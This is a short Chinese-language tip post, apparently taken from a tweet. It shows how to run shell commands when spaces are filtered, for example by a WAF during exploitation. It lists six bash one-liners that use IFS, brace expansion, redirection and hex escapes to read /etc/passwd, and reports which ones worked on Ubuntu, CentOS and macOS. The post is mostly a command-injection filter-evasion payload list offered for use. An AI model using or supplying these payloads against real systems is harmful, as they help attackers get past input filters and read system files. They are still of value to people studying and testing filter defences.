bashtricks :无空格命令执行

在一些漏洞利用场景,或者因为waf等原因,导致无法使用空格时,可以试试如下命令:

IFS=,;`cat<<<cat,/etc/passwd` 
cat$IFS/etc/passwd 
cat${IFS}/etc/passwd 
cat</etc/passwd 
{cat,/etc/passwd} 
X=$'cat\x20/etc/passwd'&&$X

经过测试,除最后一条在mac osx下执行失败,这些命令在ubuntu 19.10和centos7下均执行成功。在mac osx系统下系统会将cat\x20/etc/passwd当成一个可执行文件,会提示No such file or directory。

来源:https://twitter.com/omespino/status/1241544334329208838